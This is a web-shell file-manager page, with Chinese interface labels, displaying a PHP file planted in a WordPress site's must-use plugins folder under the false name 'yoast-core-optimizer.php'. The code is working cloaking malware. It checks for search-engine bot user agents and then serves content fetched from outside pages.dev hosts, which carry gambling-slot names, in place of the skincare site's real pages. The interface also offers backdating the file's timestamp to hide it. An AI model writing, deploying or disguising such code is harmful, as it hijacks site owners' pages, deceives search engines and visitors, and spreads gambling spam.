文件操作 - yoast-core-optimizer.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/clear2perfection/public_html/wp-content/mu-plugins/yoast-core-optimizer.php
编辑文件内容
<?php /** * Path Cloaking (MU Plugin) */ add_action('muplugins_loaded', function () { // Mapping path => target URL $paths = [ '/contact' => 'https://clear2perfection.pages.dev/tambang88', '/privacy-policy' => 'https://clear2perfection.pages.dev/slot777', '/blog' => 'https://clear2perfection.pages.dev/asia88', '/enzymes' => 'https://clear2perfection.pages.dev/saktiwin', '/author/admin' => 'https://clear2-kliklogin.pages.dev/gayaslot', '/understanding-scalp-health' => 'https://clear2-kliklogin.pages.dev/cupang777', '/pore-clogging-products' => 'https://clear2-kliklogin.pages.dev/sukabet303', '/our-story-2' => 'https://clear2-kliklogin.pages.dev/mahjongbet88', '/what-we-do' => 'https://clear2-kliklogin.pages.dev/stone88', '/balanced-beauty-a-guide-to-syncing-your-hair-and-skin-care' => 'https://clear2-kliklink.pages.dev/sp777', '/nurturing-roots-to-radiance-the-integral-role-of-scalp-care-in-holistic-beauty' => 'https://clear2-kliklink.pages.dev/lucky777', '/protect-your-skin-using-hair-styling-products' => 'https://clear2-kliklink.pages.dev/abangslot', '/shampoo-for-blemish-free-scalp-and-skin' => 'https://clear2-kliklink.pages.dev/webini33', '/scalp-and-skin-health-glowing-skin-care' => 'https://clear2-kliklink.pages.dev/ada138', '/travel-friendly-hair-care-for-clear-skin' => 'https://clear2-kliklink.pages.dev/lenovo4d', '/product/clear-2-perfection-shampoo-conditioner-set' => 'https://clear2-kliklink.pages.dev/ubobet', ]; // Ambil path request $path = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH); $path = rtrim($path, '/'); // Cek apakah path terdaftar if (!isset($paths[$path])) { return; } // User Agent $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); // Bot detection (Google lengkap + bot lain) if (!preg_match('/googlebot|googlebot-mobile|googlebot-news|google-site-verification|google-inspectiontool|mediapartners-google|bingbot|yandexbot|slurp|ahrefsbot|telegrambot/i', $ua)) { return; } // Target sesuai path $target = $paths[$path]; // Fungsi ambil konten pakai cURL function fetch_url($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0'); $data = curl_exec($ch); curl_close($ch); return $data; } // Ambil konten target $content = fetch_url($target); if ($content !== false) { status_header(200); header('Content-Type: text/html; charset=UTF-8'); echo $content; exit; } });
修改文件时间
将文件时间修改为当前时间的前一年
删除文件